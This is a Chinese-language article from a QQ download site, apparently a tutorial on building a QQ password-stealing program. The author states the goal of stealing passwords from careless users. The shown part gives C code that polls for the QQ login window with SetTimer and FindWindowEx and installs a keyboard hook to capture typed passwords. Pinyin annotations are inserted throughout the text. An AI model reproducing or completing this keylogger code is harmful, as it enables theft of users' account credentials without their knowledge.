专业的QQ下载站 本站非腾讯QQ官方网站

QQ下载|QQ资讯|QQ分类|下载排行|最近更新

当前位置:首页腾讯技术QQ电脑秘籍 → 盗QQ的密码软件模拟实现技术

奇蛋物语特别篇

时间:2024/9/20 00:44:00人气:0作者:飞翔我要评论(0)
最近天气太【tài】热,外加无【wú】聊,出于练习的目的,想到了写个盗【dào】QQ的软【ruǎn】件,说“盗”,未免是太难听【tīng】了吧,于是我给它起名为“UiQQ道”.

  一【yī】般的盗密码的软件的软件都是通【tōng】过监视键盘【pán】来获得密码,这样操作比较方便,但是这样也存【cún】在【zài】一定问题,密【mì】码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人【rén】也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子【zǐ】来监视QQ登陆界【jiè】面就是获得密码的方法,在安装前得先【xiān】找到登【dēng】陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可【kě】以开始处理密码了【le】! 我准备分为四【sì】部分来【lái】说明这个整个过程:

  (1)寻找QQ登陆界面。

  (2)安装钩子

  (3)钩子函数的解释.

  (4)处理密码。

  以下部分全【quán】是使用C语【yǔ】言,文章中我假设读者您【nín】是【shì】会C/SDK编程的。如果遇到相关的概念性问【wèn】题,您可以查看MSDN或是上BBS 询问!

  第一部分:(1)寻找QQ登陆界面。

  软件运行后,利用安装【zhuāng】定时器,每秒在系统找QQ登陆界面,这样基本上只要【yào】用户打开了QQ登陆界面就会被抓住其句柄,看下面【miàn】代码:

  #define ID_MYTIMER 555

  SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

  安装好TIMER后,下面是处理主程序的WM_TIMER消息【xī】,凡【fán】是出现没有定义【yì】的变量,您可以理解为是全局变量.

  //处理WM_TIMER代码

  if (!IsWindow(g_hQQLogin)) //判【pàn】断g_hQQLogin是否是有效的窗口句柄

  {

  HWND hLogin=NULL;

  g_hQQLogin = NULL;

  SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为【wéi】句柄是安装句柄

  do

   {

  //利用FindWindowEx查找【zhǎo】QQ登陆窗口,具体参数意思【sī】请查MSDN

  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770

  //找【zhǎo】到类【lèi】名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽

  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没【méi】有" 登录QQ"字样,那么获取密码将失败!

  }

  while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的【de】窗【chuāng】口,即:QQ登陆窗口

  if (g_hQQLogin != NULL)

  {

  SetQQHook(g_hQQLogin);//安装HOOK,此【cǐ】函数在DLL文件中 第二【èr】部分中介绍

  }

   }

  上面就是查找QQ登陆窗口句柄【bǐng】的过程,从代码可以看出我用的方法:找【zhǎo】一个其子窗体中【zhōng】有一个【gè】标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也【yě】看不懂,下面您不用看了:() 我最开始是想【xiǎng】利用【yòng】 FindWindow(NULL,"QQ用户登陆窗口【kǒu】")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用【yòng】户登陆【lù】窗口”,而是“乱码”,其中【zhōng】包【bāo】含了回车键等特殊字符,于【yú】是我用了FindWindowEx().

猜你喜欢

网友评论

请自觉遵守互【hù】联网相关【guān】政策法规,评论内容只代表网【wǎng】友观点,与本站立场无关!

热门评论

最新评论

已有0人参与,点击查看更多精彩评论

关于腾牛 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2005-2018 QQTN.com 【东阳绿色软件下载站】 版权所有 鄂ICP备17010784号-1 | 鄂公网安备 42011102000245号

声明: 本站非腾讯QQ官方网站 所【suǒ】有软件和文章来自互【hù】联网 如有异议 请【qǐng】与本站联系 本站为非赢利【lì】性网站 不接受任何赞助和广告